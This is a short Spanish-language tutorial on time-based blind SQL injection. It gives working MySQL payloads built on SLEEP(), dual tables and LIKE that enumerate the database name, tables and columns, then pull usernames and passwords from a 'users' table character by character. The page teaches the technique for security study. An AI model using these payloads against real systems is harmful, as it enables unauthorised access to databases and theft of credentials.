TIME-BASED BLIND SQLI

Si el servidor no muestra los resultados de las busquedas, tendremos que utilizar este método o el anterior para obtener los resultados.

DETERMINAR EL NOMBRE DE LA BASE DE DATOS CON TIME-BASED BLIND SQL INJECTION

Esta forma de aprovechar las vulnerabilidades SQL injection se basa en la orden SLEEP() que retrasa la recarga de la pagina, en tablas duales y LIKE.

1 ‘ AND (SELECT sleep(4) FROM dual WHERE database() LIKE ’HO%') -- -

Esto permite hacer varias cosas:

  • Si la condicion segunda se cumple (detras del where), se cumplira el sleep.

  • LIKE permite hacer la aproximacion letra a letra mas sencilla

  • ‘a%’ → indica que empieza por a y el resto es cualquier cosa

  • ‘____’ → indica que la base de datos es de 4 caracteres (debemos sustituarlas por los caracteres).

DETERMINAR LAS TABLAS CON TIME-BASED BLIND SQL INJECTION

1 ‘ AND (SELECT sleep(4) FROM dual WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=database() LIMIT 0,1) LIKE ’____') -- -

Vamos modificando lo que sigue a LIKE para llegar a obtener el resultado final. Una buena forma es ir reemplazando las vocales en cada posicion.

DETERMINAR LAS COLUMNAS CON TIME-BASED BLIND SQL INJECTION

1 ‘ AND (SELECT sleep(4) FROM dual WHERE (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1) LIKE ’____') -- -

EXTRAER DATOS DE LA BASE DE DATOS CON TIME-BASED BLIND SQL INJECTION

Ahora que ya tenemos seleccionadas las COLUMNAS de las que queremos extrar informacion, vamos a por ello:

1 ‘ AND (SELECT sleep(4) FROM dual WHERE (SELECT user FROM users LIMIT 0,1) LIKE ’_____') -- -

1 ‘ AND (SELECT sleep(4) FROM dual WHERE (SELECT password FROM users LIMIT 0,1) LIKE ’_____') -- -

Esta password podria estar hasheada lo que haria esta tarea titanica.

Última actualización